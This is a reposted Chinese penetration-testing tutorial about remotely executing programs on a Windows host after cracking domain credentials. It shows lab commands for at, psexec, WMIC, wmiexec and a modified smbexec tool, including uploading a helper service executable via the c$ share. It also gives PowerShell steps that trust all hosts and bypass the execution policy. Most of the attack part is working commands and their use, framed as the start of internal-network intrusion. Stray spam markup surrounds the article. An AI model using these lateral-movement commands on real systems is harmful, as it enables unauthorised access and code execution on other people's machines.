<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/7358

            0x00 前言


            上一篇學習了如何導出域內所有用戶hash,那么,接下來準備用破解出的用戶名口令嘗試遠程登陸目標主機并執行程序,結合實際環境做了如下測試.

            0x01 目標


            遠程登陸目標主機執行測試程序

            0x02 測試環境


            遠程主機:

            ip:192.168.40.137   
            用戶名:test
            口令:testtest
            操作系統:win7 x64
            

            遠程登陸方式:

            net use遠程登陸,不使用3389
            

            Tips:

            解決工作組環境無法遠程登陸執行程序的方法:

            HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System add a new DWORD (32-bit) called “LocalAccountTokenFilterPolicy” and set it to 1

            0x03 測試方法


            1、at&schtasks

            計劃任務方式執行程序。

            條件:

            啟動Task Scheduler服務  
            

            2、psexec

            PsTools工具之一,在指定的一臺或多臺計算機上運行應用程序

            條件:

            需要開放ADMIN$共享
            

            3、WMIC

            功能強大,可做系統管理、遠程主機信息獲取

            條件:

            啟動WMI服務,開放135端口
            本地安全策略的“網絡訪問: 本地帳戶的共享和安全模式”應設為“經典-本地用戶以自己的身份驗證”
            

            4、wmiexec

            使用VBS腳本調用WMI來模擬psexec的功能,基本上psexec能用的地方,這個腳本也能夠使用。

            條件:

            啟動WMI服務,開放135端口
            本地安全策略的“網絡訪問: 本地帳戶的共享和安全模式”應設為“經典-本地用戶以自己的身份驗證”
            

            0x04 實際測試


            使用用戶名口令遠程登陸192.168.40.137,如圖1

            這里寫圖片描述

            查看目標主機共享資源,如圖1-2

            這里寫圖片描述

            1、at&schtasks

            at \\192.168.40.137
            

            找不到網絡路徑,判斷是目標主機已禁用Task Scheduler服務

            如圖2

            這里寫圖片描述

            2、psexec

            PsExec.exe \\192.168.40.137 /accepteula -u test -p testtest -c c:\runtest\calc.exe
            

            找不到網絡名,判斷目標主機已禁用ADMIN$共享

            如圖3

            這里寫圖片描述

            3、WMIC

            wmic /node:192.168.40.137 /user:test /password:testtest process call create calc.exe
            

            Description = 無法啟動服務,原因可能是已被禁用或與其相關聯的設備沒有啟動,判斷WMI服務被禁用

            如圖4

            這里寫圖片描述

            4、wmiexec

            cscript.exe wmiexec.vbs /cmd 192.168.40.137 test testtest "ipconfig"
            

            WMIEXEC ERROR: 無法啟動服務,原因可能是已被禁用或與其相關聯的設備沒有啟動,判斷WMI服務被禁用

            如圖5

            這里寫圖片描述

            0x05 分析


            整理下目前掌握的目標主機信息:

            目標主機:

            1、已獲得登陸用戶名及口令
            2、可以net use連接
            3、開放共享C
            

            但是:

            1、默認admin$共享關閉,無法使用psexec
            2、Task scheduler關閉,無法使用at、schtasks
            3、Windows Management Instrumentation服務關閉,關閉135端口無法使用wmic、wmiexec
            4、不支持3389
            

            那么,如何在目標主機遠程執行程序?

            猜測管理員應該是對常用的遠程執行程序的方法做了限制,就在一籌莫展的時候突然想到了smbexec,它是基于psexec,如果目標主機開放了其他默認共享,倒是可以嘗試smbexec

            于是搜索smbexec,終于在GitHub上面找到了一個smbexec的c++參考資料,作為工具改進模版

            模版下載地址:

            https://github.com/sunorr/smbexec

            0x06 改進方案


            模版中的bug不細講,最終我成功用vc6實現了psexec的功能,同時也做了一些改進:

            1、可指定默認共享名

            為了完成上述測試,加入了參數來指定默認共享,如果ADMIN$共享關閉,那么可以嘗試其他磁盤的默認共享

            2、分離安裝服務的功能

            在實際測試過程中,如果ADMIN$共享關閉,c$共享開啟,因為UAC的緣故,注冊安裝服務的功能會出現bug,采取的解決辦法為將實現注冊安裝服務功能的exe單獨上傳至c:\windows下, 即可解決權限不夠的問題

            0x07 方案測試


            1、工具說明

            文件說明:

            test.exe:主程序
            execserver.exe:實現注冊安裝服務的輔助程序
            

            參數說明:

            test.exe ip user password command netshare
            

            eg:

            test.exe 192.168.40.137 test testtest whoami c$
            

            2、使用流程

            (1)上傳execserver.exe至c:\windows

            copy execserver.exe \\192.168.40.137\c$\windows
            

            (2)遠程執行

            test.exe 192.168.40.137 test testtest whoami c$
            

            如圖6

            這里寫圖片描述

            最終我們通過改造的smbexec,突破目標主機限制,成功遠程執行程序。

            程序源碼下載鏈接:

            smbexec_source.zip

            0x08 補充


            1、powershell remoting

            實現在目標主機遠程執行程序后,可對目標主機開放powershell remoting,用作遠程連接

            條件:

            遠程連接會有痕跡
            本機要開啟winRM服務
            

            命令匯總:

            列出所有遠程信任主機

            powershell Get-Item WSMan:\localhost\Client\TrustedHosts
            

            設置信任所有主機

            powershell Set-Item WSMan:\localhost\Client\TrustedHosts -Value * -Force 
            

            設置允許運行ps1文件

            powershell Set-ExecutionPolicy Unrestricted 
            

            執行test.ps1文件

            powershell -ExecutionPolicy Bypass -File test.ps1 
            

            ps1文件如下:

            $UserName = "test" 
            $serverpass = "testtest" $Password = ConvertTo-SecureString $serverpass -AsPlainText –Force $cred = New-Object System.Management.Automation.PSCredential($UserName,$Password)  
            invoke-command -ComputerName 192.168.40.137 -Credential $cred -ScriptBlock { ipconfig }
            

            2、python smbexec

            隨后用python寫的smbexec也實現了相同的功能,但py2exe的時候遇到了大麻煩,如果有更簡單的方法, 希望能得到你的幫助。

            0x09 小結


            這篇文章共列舉了六種遠程執行程序的方法,如果已經成功登陸目標主機,卻無法執行程序,最心塞的事情莫過于此。

            at 
            psexec 
            WMIC 
            wmiexec 
            smbexec 
            powershell remoting
            ...
            

            獲得用戶名口令,實現遠程執行程序僅僅是個開始,內網滲透會很有趣。

            水平有限,歡迎補充。

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线